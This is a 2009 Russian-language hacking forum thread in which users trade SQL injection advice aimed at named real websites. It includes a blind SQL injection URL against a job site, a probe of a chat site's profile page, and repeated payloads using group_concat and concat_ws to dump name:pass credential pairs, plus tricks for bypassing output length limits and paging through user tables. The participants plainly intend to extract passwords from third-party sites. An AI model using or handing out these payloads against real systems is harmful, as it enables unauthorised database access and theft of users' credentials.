Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    Ясненько, спасибо. Значит дальше рыть бесполезно?
     
  2. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Как работать с 3 веткой:

    http://forum.antichat.ru/showpost.php?p=565034&postcount=4
     
  3. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Ну почему, блайнд sql фактически,

    http://rabota.kz/candidates/vacancies.php?cat=-123+and+substring(@@version,1,1)=3

    читай подпись, там есть
     
    1 person likes this.
  4. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196

    как? получилось?)
     
  5. or1

    or1 Banned

    Joined:
    7 Sep 2008
    Messages:
    36
    Likes Received:
    4
    Reputations:
    0
    ребята подскажите кто-нить вот так выглядет сама сртpаничка

    http://dwap.tj/chat/profile.php?id=1187&password=&ver=html

    id=-1187&password=&ver=html

    тут я ставлю минус между равно и 1187
    и после как поставил минус выходит вот такая хринитень

    Warning: mysql_result() [function.mysql-result]: Unable to jump to row 0 on MySQL result index 5 in /var/www/localhost/htdocs/dwap.tj/chat/profile.php on line 8
    вопрос с могу я что-нить тут сделать,и как тут составить правильный запрос.
     
    #4865 or1, 23 Jan 2009
    Last edited: 23 Jan 2009
  6. Octave_Parango

    Joined:
    6 Nov 2008
    Messages:
    83
    Likes Received:
    11
    Reputations:
    -1
    Всем привет!

    Вывожу информацию:
    group_concat(name,0x3a,pass)
    Но вывод информации ограничен, через лимит выводится гораздо больше.
    Вопрос:
    Как вывести всю информацию, без ограничений?
     
  7. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Разобрался. Длина возвращаемого значение GROUP_CONCAT ограничена переменной group_concat_max_len и обычно равна 1024. Поэтому и выбирается так мало данных...
     
    #4867 groundhog, 23 Jan 2009
    Last edited: 23 Jan 2009
  8. MirA

    MirA Member

    Joined:
    24 Jul 2008
    Messages:
    25
    Likes Received:
    16
    Reputations:
    0
    про group_concat
    http://webi.ru/webi_articles/8_14_f.html
     
  9. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    попробуй
    1) через limit 1,5 или 1,10
    2) concat_ws(0x0a,group_concat(concat_ws(0x3a,name,pass)))
     
    #4869 Gemini12, 23 Jan 2009
    Last edited: 23 Jan 2009
  10. Octave_Parango

    Joined:
    6 Nov 2008
    Messages:
    83
    Likes Received:
    11
    Reputations:
    -1
    Gemini12, неа, не получается чиво-то (
     
  11. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    закинешь ссылку в пм? попробую, может че и выйдет...
     
  12. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Будь добр, объясни эту конструкцию, документация по мускулу ответов не даёт. :) Особенно интересна эта функция: group_ws
     
  13. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    я там ошибся, не group_ws а concat_ws ;)
    ну а если и это интересно то:

    Code:
    concat_ws(0x0a,group_concat(concat_ws(0x3a,name,pass)))
    
    concat_ws - выводит значения столбцов из таблиц, разделяя при этом точками, запятыми, двоеточиями, я в основном использую двоеточия, отсюда и "0x3a";
    Code:
    concat_ws(0x3a,name,pass)
    т.е. вывести name : pass

    а group_concat - это чтобы лимитом мозги не е*ать, выводит все таблицы, но при этом по умолчанию стоит лимит 1024 символов, только админ может поменять значение? так что если не все таблицы показало, придется limit'ом добивать...
     
    #4873 Gemini12, 23 Jan 2009
    Last edited: 23 Jan 2009
  14. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Я написал какая функция меня интересовала, но, даже так , мне очень интересно, зачем использовать concat_ws 2 раза?
    Это какой-то новый подход? Что он даёт? Мне кажется, не нужно торопится, и давать ответы в которых сам не уверен
     
  15. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    там два разных concat_ws 0x0a и 0x3a, думаю ты знаешь их значения, отсюда и вывод...
     
  16. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Желание доказать свою правоту, порой мешает увидить ошибки, и улучшить знания.

    Да я вижу, что ты составил конструкцию с двумя разными разделителями, но эта конструкция безсмысленна
    Вынимаем поля, разделяем двоеточием, группируем и подаём в concat_ws 0x0a. Зачем? Что она по твоему будет разделять, если ей передаётся ОДИН аргумент.
    Вобщем, это личное дело каждого. учиться или нет, но от написания безсмысленных конструкций(и доказывания, что так и надо) в разделе, прошу воздержаться, раздел по вопросам о уязвимостях, и ответы должны быть компетентными
     
  17. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    Короче с тобой все ясно... Тебе сюда
    И откуда только такие берутся, хз....
     
  18. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Так попробуй:

    GROUP_CONCAT(name,0x3a,pass)+FROM+table+WHERE+ASCII(lower(name))= 97 - это то же самое, все юзеры на 'a' (по идее если список всех юзеров не влезает, то может влезет список юзеров, начинающихся только на определённую букву, буквы можешь перебирать)

    ну table замени на свою таблу есс-но
     
    1 person likes this.
  19. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    тебе пытаются объяснить что group_concat() будет однозначен.
    насчет сабжа вариантов много, cамый очевидный:
    select group_concat(user) from users where user>0xlast_selected_user
    если колонки две +and pass>0xPass

    /add первая строчка относится к Gemini12
    /add2 Pashkela, а если в базе 10к юзверей на 'а'?)
     
    #4879 l1ght, 23 Jan 2009
    Last edited: 23 Jan 2009
    2 people like this.
  20. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    есть еще substring, так что метода железная, если очень надо:)

    ЗЫЖ И неоднократно проверенная, и легко автоматизируемая, сначала count(name), а потом уж сверять, сколько вывел, зачем и, самое главное, нафига

    Хотя твой вариант тоже выглядит заманчиво, просто не проверял
     
    #4880 Pashkela, 23 Jan 2009
    Last edited: 23 Jan 2009
Thread Status:
Not open for further replies.